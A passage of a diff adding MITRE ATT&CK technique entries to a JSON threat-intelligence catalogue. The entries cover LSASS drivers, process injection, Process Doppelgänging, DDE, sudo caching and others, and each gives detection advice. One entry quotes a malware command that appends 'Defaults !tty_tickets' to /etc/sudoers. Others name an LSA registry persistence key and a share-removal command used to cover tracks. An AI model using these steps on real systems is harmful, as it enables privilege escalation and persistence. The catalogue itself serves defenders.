"04ef4356-8926-45e2-9441-634b6f3dcecb" + }, + { + "description": "The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)\n\nAdversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., DLL Side-Loading or DLL Search Order Hijacking), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.\n\nDetection: With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA.\n\nUtilize the Sysinternals Process Monitor utility to monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)\n\nPlatforms: Windows\n\nData Sources: API monitoring, DLL monitoring, File monitoring, Kernel drivers, Loaded DLLs, Process Monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nRemote Support: No\n\nContributors: Vincent Le Toux", + "value": "LSASS Driver - T1177", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1177", + "https://technet.microsoft.com/library/cc961760.aspx", + "https://technet.microsoft.com/library/dn408187.aspx", + "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx", + "https://technet.microsoft.com/en-us/sysinternals/bb963902" + ], + "external_id": "T1177", + "kill_chain": [ + "mitre-attack:enterprise-attack:execution", + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_data_sources": [ + "API monitoring", + "DLL monitoring", + "File monitoring", + "Kernel drivers", + "Loaded DLLs", + "Process Monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "6e6845c2-347a-4a6f-a2d1-b74a18ebd352" + }, + { + "description": "Collected data is staged in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Data Compressed or Data Encrypted.\n\nInteractive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.\n\nDetection: Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", + "value": "Data Staged - T1074", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1074" + ], + "external_id": "T1074", + "kill_chain": [ + "mitre-attack:enterprise-attack:collection" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "description": "Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.\n\nDetection: Because most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. \n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as Exploitation for Client Execution and Scripting.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: SSL/TLS inspection, Anti-virus, Web proxy", + "value": "Spearphishing via Service - T1194", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1194" + ], + "external_id": "T1194", + "kill_chain": [ + "mitre-attack:enterprise-attack:initial-access" + ], + "mitre_data_sources": [ + "SSL/TLS inspection", + "Anti-virus", + "Web proxy" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ] + }, + "uuid": "d3df754e-997b-4cf9-97d4-70feb3120847" + }, + { + "description": "When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. \n\nAdversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with Masquerading. Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through Service Execution.\n\nDetection: Monitor service creation through changes in the Registry and common utilities using command-line invocation. New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator, SYSTEM", + "value": "New Service - T1050", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1050", + "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "https://technet.microsoft.com/en-us/library/cc772408.aspx" + ], + "external_id": "T1050", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence", + "mitre-attack:enterprise-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Windows Registry", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "description": "Windows shared drive and Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete command. (Citation: Technet Net Use)\n\nAdversaries may remove share connections that are no longer useful in order to clean up traces of their operation.\n\nDetection: Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of net use commands associated with establishing and removing remote shares over SMB, including following best practices for detection of Windows Admin Shares. SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters, Packet capture, Authentication logs\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User, Administrator\n\nSystem Requirements: Established network share connection to a remote system. Level of access depends on permissions of the account used.", + "value": "Network Share Connection Removal - T1126", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1126", + "https://technet.microsoft.com/bb490717.aspx" + ], + "external_id": "T1126", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "Packet capture", + "Authentication logs" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "e7eab98d-ae11-4491-bd28-a53ba875865a" + }, + { + "description": "Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)\n\nAdversaries may gather private keys from compromised systems for use in authenticating to Remote Services like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on *nix-based systems or C:\\Users\\(username)\\.ssh\\ on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)\n\nDetection: Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: File monitoring\n\nPermissions Required: User\n\nContributors: Itzik Kotler, SafeBreach", + "value": "Private Keys - T1145", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1145", + "https://en.wikipedia.org/wiki/Public-key%20cryptography", + "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask%20v1.0.pdf", + "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/" + ], + "external_id": "T1145", + "kill_chain": [ + "mitre-attack:enterprise-attack:credential-access" + ], + "mitre_data_sources": [ + "File monitoring" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ] + }, + "uuid": "56ff457d-5e39-492b-974c-dfd2b8603ffe" + }, + { + "description": "Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may leverage TxF to a perform a file-less variation of Process Injection called Process Doppelg\u00e4nging. Similar to Process Hollowing, Process Doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.\n\nDetection: Monitor and analyze calls to CreateTranscation, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelg\u00e4nging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nScan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Process Monitoring\n\nDefense Bypassed: Process whitelisting, Anti-virus, Whitelisting by file name or path, Signature-based detection\n\nPermissions Required: User, Administrator, SYSTEM", + "value": "Process Doppelg\u00e4nging - T1186", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1186", + "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx", + "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx", + "https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx", + "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf", + "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/", + "https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx" + ], + "external_id": "T1186", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion" + ], + "mitre_data_sources": [ + "API monitoring", + "Process Monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "c1a452f3-6499-4c12-b7e9-a6a0a102af76" + }, + { + "description": "Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.\n\nOrganizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, Valid Accounts used by the other party for access to internal network systems may be compromised and used.\n\nDetection: Establish monitoring for activity conducted by second and third party providers and other trusted entities that may be leveraged as a means to gain access to the network. Depending on the type of relationship, an adversary may have access to significant amounts of information about the target before conducting an operation, especially if the trusted relationship is based on IT services. Adversaries may be able to act quickly towards an objective, so proper monitoring for behavior related to Credential Access, Lateral Movement, and Collection will be important to detect the intrusion.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Application Logs, Authentication logs, Third-party application logs", + "value": "Trusted Relationship - T1199", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1199" + ], + "external_id": "T1199", + "kill_chain": [ + "mitre-attack:enterprise-attack:initial-access" + ], + "mitre_data_sources": [ + "Application Logs", + "Authentication logs", + "Third-party application logs" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ] + }, + "uuid": "9fa07bef-9c81-421e-a8e5-ad4366c5a925" + }, + { + "description": "Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\n\nAdversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.\n\nDetection: OLE and Office Open XML files can be scanned for \u2018DDEAUTO', \u2018DDE\u2019, and other strings indicative of DDE execution. (Citation: NVisio Labs DDE Detection Oct 2017)\n\nMonitor for Microsoft Office applications loading DLLs and other modules not typically associated with the application.\n\nMonitor for spawning of unusual processes (such as cmd.exe) from Microsoft Office applications.\n\nPlatforms: Windows\n\nData Sources: API monitoring, DLL monitoring, Process Monitoring, Windows Registry, Windows event logs\n\nPermissions Required: User\n\nRemote Support: No", + "value": "Dynamic Data Exchange - T1173", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1173", + "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/", + "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/", + "https://www.contextis.com/blog/comma-separated-vulnerabilities", + "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/", + "https://technet.microsoft.com/library/security/4053440", + "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/", + "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021", + "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee" + ], + "external_id": "T1173", + "kill_chain": [ + "mitre-attack:enterprise-attack:execution" + ], + "mitre_data_sources": [ + "API monitoring", + "DLL monitoring", + "Process Monitoring", + "Windows Registry", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0" + }, + { + "description": "The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments\" (Citation: sudo man page 2018). Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout that is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nAdversaries can abuse poor configurations of this to escalate privileges without needing the user's password. /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Combined with tty_tickets being disabled, means adversaries can do this from any tty for that user. \n\nThe OSX Proton Malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.\n\nDetection: This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process command-line parameters\n\nEffective Permissions: root\n\nPermissions Required: User", + "value": "Sudo Caching - T1206", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1206", + "https://www.sudo.ws/", + "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does" + ], + "external_id": "T1206", + "kill_chain": [ + "mitre-attack:enterprise-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "File monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ] + }, + "uuid": "2169ba87-1146-4fc7-a118-12b72251db7e" + }, + { + "description": "During the boot process, macOS executes source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.\n\nAdversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).\n\nDetection: The /etc/rc.common file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: root", + "value": "Rc.common - T1163", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1163", + "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + ], + "external_id": "T1163", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_data_sources": [ + "File monitoring", + "Process Monitoring" + ], + "mitre_platforms": [ + "macOS" + ] + }, + "uuid": "18d4ab39-12ed-4a16-9fdb-ae311bba4a0f" + }, + { + "description": "Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.\n\n===Windows===\n\nThere are multiple approaches to injecting code into a live process. Windows implementations include: (Citation: Engame Process Injection July 2017)\n* '''Dynamic-link library (DLL) injection''' involves writing the path to a malicious DLL inside a process then invoking execution by creating a remote thread.\n* '''Portable executable injection''' involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue. (Citation: Endgame HuntingNMemory June 2017)\n* '''Thread execution hijacking''' involves injecting malicious code or the path to a DLL into a thread of a process. Similar to Process Hollowing, the thread must first be suspended.\n* '''Asynchronous Procedure Call''' (APC) injection involves attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state. AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is a variation that utilizes APCs to invoke malicious code previously written to the global atom table. (Citation: Microsoft Atom Table)\n* '''Thread Local Storage''' (TLS) callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. (Citation: FireEye TLS Nov 2017)\n\n===Mac and Linux===\n\nImplementations for Linux and OS X/macOS systems include: (Citation: Datawire Code Injection) (Citation: Uninformed Needle)\n*'''LD_PRELOAD, LD_LIBRARY_PATH''' (Linux), '''DYLD_INSERT_LIBRARIES''' (Mac OS X) environment variables, or the dlfcn application programming interface (API) can be used to dynamically load a library (shared object) in a process which can be used to intercept API calls from the running process. (Citation: Phrack halfdead 1997)\n*'''Ptrace system calls''' can be used to attach to a running process and modify it in runtime. (Citation: Uninformed Needle)\n*'''/proc/[pid]/mem''' provides access to the memory of the process and can be used to read/write arbitrary data to it. This technique is very rare due to its complexity. (Citation: Uninformed Needle)\n*'''VDSO hijacking''' performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object. (Citation: VDSO hijack 2009)\n\nMalware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.\n\nDetection: Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Engame Process Injection July 2017)\n\nMonitoring for Linux specific calls such as the ptrace system call, the use of LD_PRELOAD environment variable, or dlfcn dynamic linking API calls, should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods. (Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits)\n\nMonitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules. (Citation: Microsoft Sysmon v6 May 2017)\n\nMonitor processes and command-line arguments for actions that could be done before or after code injection has occurred and correlate the information with related event information. Code injection may also be performed using PowerShell with tools such as PowerSploit, (Citation: Powersploit) so additional PowerShell monitoring may be required to cover known implementations of this behavior.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Windows Registry, File monitoring, DLL monitoring, Named Pipes, Process Monitoring\n\nEffective Permissions: User, Administrator, SYSTEM, root\n\nDefense Bypassed: Process whitelisting, Anti-virus\n\nPermissions Required: User, Administrator, SYSTEM, root\n\nContributors: Anastasios Pingios", + "value": "Process Injection - T1055", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1055", + "https://github.com/mattifestation/PowerSploit", + "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "https://www.endgame.com/blog/technical-blog/hunting-memory", + "https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx", + "https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows", + "https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx", + "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html", + "https://www.datawire.io/code-injection-on-linux-and-macos/", + "http://hick.org/code/skape/papers/needle.txt", + "http://phrack.org/issues/51/8.html", + "http://vxer.org/lib/vrn00.html", + "https://www.gnu.org/software/acct/", + "https://access.redhat.com/documentation/red%20hat%20enterprise%20linux/6/html/security%20guide/chap-system%20auditing", + "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html", + "https://docs.microsoft.com/sysinternals/downloads/sysmon" + ], + "external_id": "T1055", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion", + "mitre-attack:enterprise-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "API monitoring", + "Windows Registry", + "File monitoring", + "DLL monitoring", + "Named Pipes", + "Process Monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "description": "Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=. The binary will then be executed by the system when the authentication packages are loaded.\n\nDetection: Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)\n\nPlatforms: Windows\n\nData Sources: DLL monitoring, Windows Registry, Loaded DLLs\n\nPermissions Required: Administrator", + "value": "Authentication Package - T1131", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1131", + "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx", + "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html", + "https://technet.microsoft.com/en-us/library/dn408187.aspx" + ], + "external_id": "T1131", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_data_sources": [ + "DLL monitoring", + "Windows Registry", + "Loaded DLLs" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "52d40641-c480-4ad5-81a3-c80ccaddf82d" + }, + { + "description": "An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.\n\nDetection: If malware uses Standard Cryptographic Protocol, SSL/TLS inspection can be used to detect command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks) After SSL/TLS inspection, additional cryptographic analysis may be needed to analyze the second layer of encryption.\n\nWith Custom Cryptographic Protocol, if malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes", + "value": "Multilayer Encryption - T1079", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1079", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840", + "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html", + "https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf" + ], + "external_id": "T1079", + "kill_chain": [ + "mitre-attack:enterprise-attack:command-and-control" + ], + "mitre_data_sources": [ + "Packet capture", + "Process use of network", + "Malware reverse engineering", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "428ca9f8-0e33-442a-be87-f869cb4cf73e" + }, + { + "description": "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to System Firmware but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.\n\nPlatforms: Windows\n\nDefense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems\n\nPermissions Required: SYSTEM\n\nSystem Requirements: Ability to update component device firmware from the host operating system.", + "value": "Component Firmware - T1109", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1109" + ], + "external_id": "T1109", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion", + 